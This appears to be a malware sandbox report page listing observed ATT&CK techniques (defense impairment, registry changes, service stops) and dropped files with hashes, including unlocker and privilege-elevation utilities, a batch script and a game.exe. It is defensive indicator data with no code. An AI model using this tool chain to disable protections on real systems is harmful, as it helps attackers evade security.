Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

IObitUnlocker.dll

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
Size 79KB
SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
MD5 2c6233c8dbc560027ee1427f5413e4b1
SHA1 88b7d4b896539abd11a7ad9376ef62d6a7f42896
SHA512 cc8b369b27b303dbe1daef20fa4641f0c4c46b7698d893785fa79877b5a4371574b1bb48a71b0b7b5169a5f09a2444d66e773d8bb42760cb27f4d48a286728a8
SSDEEP 1536:6CxnF5F2kGjd5KrB5ySFjxzI/7DS/7DdL:6CxnXFod8rB59thI/y/R
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.exe

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
Size 2.6MB
SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
MD5 2541290195ffe29716ebbc7aac76d82f
SHA1 d8e22adc26ef1628b826785682830c3d128a0d43
SHA512 b6130c658cfeae6b8ed004cbac85c1080f586bb53b9f423ddabaeb4c69ea965f6bca8c1bd577795ef3d67a32a4bf90c515e4d68524c23866588864d215204f91
SSDEEP 49152:JGuaHn27rhus1L9iE2XsZzkA8TbT9FuAHv:JGuaHna1kcwL/v
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 12KB
SHA256 3c4b3d11b72875ba620a88f04026d04ceb0c9d09f48ac9838abc72b2c22479f3
MD5 099ab8bd39b3d90e7ad6ab822bd28645
SHA1 fa20dd6bf5c3f7dbb4cf77d7018654d6eb28b8a3
SHA512 191620afc342d22566ecc8b0888308a27682575388ce8ddd4faab6fee73bf3f84aad00abf99fe524f0f9375b228b0edfbc2844a8765f78487d08c45f0547df8c
SSDEEP 48:RmfVnlvmAnlvTlvTlvTlvTlvTlvTlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlJ:sfVdmAdhhhhht1b
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 25KB
SHA256 2211c8e942c1948a7906a4c1c464b3a1febf8cb09b565805314fb57c367210b3
MD5 4bcd76ce3dd22e6b86515c3dca38ed11
SHA1 fefa679340c7e5347c0e18df3b13f4d1bda91f66
SHA512 1f2bde96a87efe55a30378a4b99b13f77a9fc0786f6b4e6b1fde1caeb5a8494b16a9ddc8d4c9c3dfcd734a93203be3814c3c8b54f505e7b46c980b347a4203ac
SSDEEP 768:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTj:41TjjSyddddddddddddddddddddddOOr
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 38KB
SHA256 e7424500746fb4ab4287452c2b3b0a1172242df6184e319beca882219fe47984
MD5 526e8ddbe35e75144dc70dda3c1f33ec
SHA1 ae69f49689e09506fa5b7a7ffac20ae0afac2eac
SHA512 b97ac8e3d6a9c6465f00973bee4f0a221293077c3d95b113525b6ca695c237c1212cc1c086cbc8f5c72a63aad7bdcfa8986ecc604528e32be284bf141ac0938c
SSDEEP 768:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTj:41TjjSyddddddddddddddddddddddOO7
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 50KB
SHA256 498eeae0007baf462d3a33525847558bffc7a5ee4b948c354f162fc6cf4419fc
MD5 dbd1f87c50335bb76fe54c16a82283ca
SHA1 fe349b625e73f8acfadfc9146d8062406fe0496d
SHA512 8a8fe3f62bbcce43bbb0a8541889bfb4f8ddd08daac74fedec613819f3bd4a63879bbcff1ffb4afc8a7b5bf20db47f598d662634660035e20fce1f11a12f8ba6
SSDEEP 1536:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTn:a
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 63KB
SHA256 d6fd0978ebfd611e406fdcd6531b6536be9bcaa8abbad2512faf3dfd1d26efbc
MD5 a735f8637d344f6154d85706af18dd30
SHA1 f545d7664a569556faaacd2aa7dea648a9291d00
SHA512 462a66b2fdaca5b26bc073222f52b3a47c11bdce7a4752570c35f5ab910fa65709ffe0837857ec0872362abcda2fec693679cbd72a052e1e4afb6974308608b5
SSDEEP 1536:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTy:H
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 76KB
SHA256 2b183226228cb272fd1ade213b3d62d40d86da56d61f66726ad731a9e6cfab3a
MD5 3d420f9a513c6de017f62b5336c3908e
SHA1 f65c382b770836fe3b9cfb89770840fe5c34c1c9
SHA512 c2da477d42247259c913f28d778e28e7aa97948c0ef85534d69ef0743f83210e5613d2577e130e4b3e3b633a48a841b4c759330bf5fbf49e6a47de5733983635
SSDEEP 1536:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTz:2
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 88KB
SHA256 e729caa51994866fee815139418740c3fbcd6c8bf99db0ad19d973107e8c5fe5
MD5 e32f62ab2230788fd847ac92796aede4
SHA1 4ad41c906a9fdcf9168900b49f2f31c25f95d627
SHA512 c4a310b581feba44d002560ecb7daf18a7d4926ed72cb4104371e231d359a3feb6da79f710ad2015f7b311923fcbd7c86dd82db5b60ecbd2cce5866480dd3736
SSDEEP 1536:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTu:T
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 101KB
SHA256 3f0d2ae87a03644c737ea402ea8763beca05c4fc8f3cfc0fb221b29ef9ba5f87
MD5 b33acedac45024f65e16ba7108da4b3d
SHA1 46d2b0ba1bac8dc4ea82ca79e67cdb507254d058
SHA512 f7f0d9d1abba48925cb3e3076deeac673f8d631a0a1280b9293e06a4a5b3fea5bdd7973b2abc8632799cef9b2ccc8c6bc89acd022ada4e1237d39041534ac3c5
SSDEEP 1536:41TjjSyddddddddddddddddddddddOOOOOOOOOOOOOOOOOOOOOOOOTTTTTTTTTTj:+
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 2KB
SHA256 7bd4a05c1463e109069f16eb35dae7d790db5db123260eff7adb36549045c6eb
MD5 0ba008ce1d8e346ccfa3e5e1b5d5536d
SHA1 14b806af0ab7573017b4caaf5cbc2f3bafeb7388
SHA512 de6d58a5924ed74b90faef9975d2fd7433eb18b879c413650ca791c0a88d9d360fe7935e54e729b398115b039e1c872039f99d07c79dfed8565698e4653118f6
MD5 SHA1 SHA512

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 12KB
SHA256 e6ee78a5b6c0f302ee0d2d97dac0e9ee47806ea34dc5b24b3a769b9a1f8b2bff
MD5 c3d0dac13b854ca867d17b8c598222e0
SHA1 ea9fb44dc80abbd1b390433a57be78223f6e2c92
SHA512 fe3af85a34addfd515cc1559e72885e3175ec6925683700d68ce856164c86649fd2a2fb1be86abe193ff7f52998a5995baa2cadd4a8396109443bce9e63da77d
SSDEEP 48:RmfVnlvmAnlvTlvTlvTlvTlvTlvTlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlBlf:sfVdmAdhhhhhl
MD5 SHA1 SHA512 SSDEEP

Submit Download

cjEkVMW.bat

Path C:\Users\Admin\AppData\Local\Temp\cjEkVMW.bat
Size 10KB
SHA256 07bc6a2ed72e02e1988d152188bed752c21ab5282649f22c4c168a176cbdc690
MD5 a43ffd6b86ec1d617fd2872fd3118af5
SHA1 d757ee62841f2e5069690ecc83e24181050881f6
SHA512 258d1e4df7b4ad14414cc9c96c1070c27025621e4e70eca8221d13af8a926098e9db36bf8ad190a52725f3aeda583b734fb467dc55b9aa9b46b34e06aa9528aa
SSDEEP 192:Wxm+iy0eSTBi4+wZIS3xrkeqOLmDn07EFftqxxENZgoRGRLhK8OIOry:W4+iy0eO/+wZIgd6OLmDn07EFftqxK7o
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
Size 828KB
SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
MD5 426ccb645e50a3143811cfa0e42e2ba6
SHA1 3c17e212a5fdf25847bc895460f55819bf48b11d
SHA512 1ab13e8e6e0ca4ca2039f104d53a5286c4196e930319c4fe374fa3bf415214bb7c7d2a9d8ca677a29c911a356cca19a1cecae16dd4bf840bce725f20de4c8ff2
SSDEEP 24576:b82Iz/8J9oDionNtypHq6geLmUB1HXBxCbx5MwRv8:bBYUzoDtiqELmW6nR8
MD5 SHA1 SHA512 SSDEEP

Submit Download

NSudoLG.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
Size 174KB
SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
MD5 423129ddb24fb923f35b2dd5787b13dd
SHA1 575e57080f33fa87a8d37953e973d20f5ad80cfd
SHA512 d3f904c944281e9be9788acea9cd31f563c5a764e927bcda7bae6bedcc6ae550c0809e49fd2cf00d9e143281d08522a4f484acc8d90b37111e2c737e91ae21ce
SSDEEP 3072:XVLC09ymR7sITY17jR7h05cDnxngU9yInRU+Wi+StbaoJLQfo8BuA6N3ls:XT9yO7sITYNmYnbyInRU+Wi+StbaoJLR
MD5 SHA1 SHA512 SSDEEP

Submit Download

game.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\game.exe
Size 1.3MB
SHA256 08fc54e62b767b35ab3b88a5026c1a7da7fe3da58b289ab72468d3bb8180cf4c
MD5 253c294e41a4346de7d917072165097c
SHA1 b634103e9ae3ab8b71a2ccf2baeec91335f3076c
SHA512 c22d3132b67cc48018d1030f352016e4ae88ce3b5d293c91d4aa15ff3935d9ae69bac41b53a5b2ece7dbf3d88542e35dca9dacf0071c2bdacade41c90e137ded
SSDEEP 24576:e+dg7N9lk6WM/REZax9WVd9n4ywJR2AALh5a6iH3CjiNk2C:e+dgqMpE4A94ywzgTa6iSjIM
MD5 SHA1 SHA512 SSDEEP

Submit Download

land.zip

Path C:\Users\Admin\AppData\Local\Temp\hater\land.zip
Size 1.3MB
SHA256 b6f8e88fc311a3c5c322191b0acf2a07bf43c6b2c9c1d20e80f9e05df67c2af5
MD5 6ad69bf37209e41b0e55d8532abbd884
SHA1 f387dc9a0637738756d126060e9f1f0b6c647c76
SHA512 244d274005261b922dbf38e26d838e28090f068dbc81b134cd2fae147b9f3a5935e99caeda1d964fcb237a7161e68aa41abcca1543f55fabb1846bbe13dde610
SSDEEP 24576:cH95vsXH8lRaPCaaZ/zsj6cHOgNbVM5CsUKQnPZlgbWqZAqdDHHg3euo:cdAH8WCRzsPHOlIsUKoeFZKA
MD5 SHA1 SHA512 SSDEEP

Submit Download

nircmd.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
Size 117KB
SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
MD5 4a9da765fd91e80decfd2c9fe221e842
SHA1 6f763fbd2b37b2ce76a8e874b05a8075f48d1171
SHA512 4716e598e4b930a0ec89f4d826afaa3dade22cf002111340bc253a618231e88f2f5247f918f993ed15b8ce0e3a97d6838c12b17616913e48334ee9b713c1957a
SSDEEP 3072:oG0tOQJC9TPafQy26RAA3hh5Tgr559MJZpOSDUDyjHHKHlLz1Ms/b:2OQJC9uICA11l1MYb
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/428-565-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/804-638-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/1308-28-0x0000013347FF0000-0x000001334814A000-memory.dmp

Download

memory/1308-27-0x000001332D8F0000-0x000001332DA48000-memory.dmp

Download

memory/4716-419-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/4784-492-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/5160-127-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/5572-32-0x000001A14B660000-0x000001A14B672000-memory.dmp

Download

memory/5572-30-0x000001A14B630000-0x000001A14B63A000-memory.dmp

Download

memory/5640-346-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/5696-200-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/5744-273-0x0000000000400000-0x00000000006DC000-memory.dmp

Download